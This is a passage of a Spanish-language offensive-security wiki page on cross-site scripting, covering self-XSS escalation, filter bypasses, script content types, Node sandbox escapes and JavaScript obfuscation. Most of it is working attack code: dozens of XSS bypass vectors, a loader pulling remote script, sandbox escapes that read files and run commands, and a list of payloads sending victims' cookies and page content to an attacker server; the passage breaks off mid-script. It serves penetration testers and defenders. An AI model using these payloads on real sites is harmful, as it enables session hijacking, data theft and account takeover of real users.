**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se trasladó a esta página**](dom-xss.md)**:**

<a class="content_ref" href="dom-xss.md"><span class="content_ref_label">DOM XSS</span></a>

Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).

### Mejorando Self-XSS

### Cookie XSS

Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de este XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los vulnerables a cookie XSS). Para esto puedes usar el ataque de cookie tossing:

<a class="content_ref" href="../hacking-with-cookies/cookie-tossing.md"><span class="content_ref_label">Cookie Tossing</span></a>

Puedes encontrar un gran abuso de esta técnica en [**este post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).

### Enviando tu sesión al administrador

Quizás un usuario pueda compartir su perfil con el administrador y si el self XSS está dentro del perfil del usuario y el administrador accede a él, desencadenará la vulnerabilidad.

### Reflejo de Sesión

Si encuentras algún self XSS y la página web tiene un **reflejo de sesión para administradores**, por ejemplo, permitiendo a los clientes pedir ayuda y para que el administrador te ayude, él verá lo que tú ves en tu sesión pero desde su sesión.

Podrías hacer que el **administrador desencadene tu self XSS** y robar sus cookies/sesión.

## Otros Bypasses

### Unicode Normalizado

Podrías verificar si los **valores reflejados** están siendo **normalizados en unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para eludir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/#xss-cross-site-scripting).

### Bypass de la bandera PHP FILTER_VALIDATE_EMAIL
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails bypass

Debido a **RoR mass assignment**, se insertan comillas en el HTML y luego se elude la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)), si envías la carga útil:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
El par "Key","Value" será devuelto así:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Luego, se insertará el atributo onfocus y ocurrirá XSS.

### Combinaciones especiales
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS con inyección de encabezados en una respuesta 302

Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que simplemente una carga útil de cross-site scripting es inútil.

En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\
Protocolos conocidos pasados: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.

### Solo letras, números y puntos

Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de esta publicación**](./#javascript-function) para encontrar cómo abusar de este comportamiento.

### Tipos de contenido `<script>` válidos para XSS

(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si intentas cargar un script con un **tipo de contenido** como `application/octet-stream`, Chrome mostrará el siguiente error:

> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Los únicos **Content-Type** que permitirán a Chrome ejecutar un **script cargado** son los que están dentro de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">c</span></div>

```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

```
### Tipos de Script para XSS

(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Entonces, ¿qué tipos podrían indicarse para cargar un script?
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script type="???"></script>
```
La respuesta es:

- **module** (predeterminado, nada que explicar)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** Permite mejorar la sintaxis de importación
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
```
Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para reasignar una biblioteca a eval para abusar de que puede desencadenar XSS.

- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función es principalmente para resolver algunos problemas causados por la pre-renderización. Funciona así:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
```
### Tipos de Contenido Web para XSS

(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:

- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? no está en la lista pero creo que lo vi en un CTF)
- application/rss+xml (apagado)
- application/atom+xml (apagado)

En otros navegadores, otros **`Content-Types`** pueden ser utilizados para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)

### Tipo de Contenido xml

Si la página está devolviendo un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">xml</span></div>

```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Patrones de Reemplazo Especiales

Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**. El atacante podría usar [**reemplazos de cadena especiales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar eludir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``

Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se utilizó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.

### Caché de Chrome a XSS

<a class="content_ref" href="chrome-cache-to-xss.md"><span class="content_ref_label">Chrome Cache to XSS</span></a>

### Escape de Cárceles XS

Si solo tienes un conjunto limitado de caracteres para usar, verifica estas otras soluciones válidas para problemas de XSJail:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:

- Usando import()
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Accediendo a `require` indirectamente

[Según esto](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) los módulos son envueltos por Node.js dentro de una función, así:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
Por lo tanto, si desde ese módulo podemos **llamar a otra función**, es posible usar `arguments.callee.caller.arguments[1]` desde esa función para acceder a **`require`**:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
```
De manera similar al ejemplo anterior, es posible **usar controladores de errores** para acceder al **wrapper** del módulo y obtener la función **`require`**:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
```
### Ofuscación y Bypass Avanzado

- **Diferentes ofuscaciones en una página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
- Más sofistificado JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## Cargas útiles comunes de XSS

### Varios payloads en 1

<a class="content_ref" href="steal-info-js.md"><span class="content_ref_label">Steal Info JS</span></a>

### Trampa de Iframe

Hacer que el usuario navegue en la página sin salir de un iframe y robar sus acciones (incluida la información enviada en formularios):

<a class="content_ref" href="../iframe-traps.md"><span class="content_ref_label">Iframe Traps</span></a>

### Recuperar Cookies
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
<div class="mdbook-alerts mdbook-alerts-note">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  note
</p>


No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está configurada en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.

</div>


### Robar Contenido de la Página
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
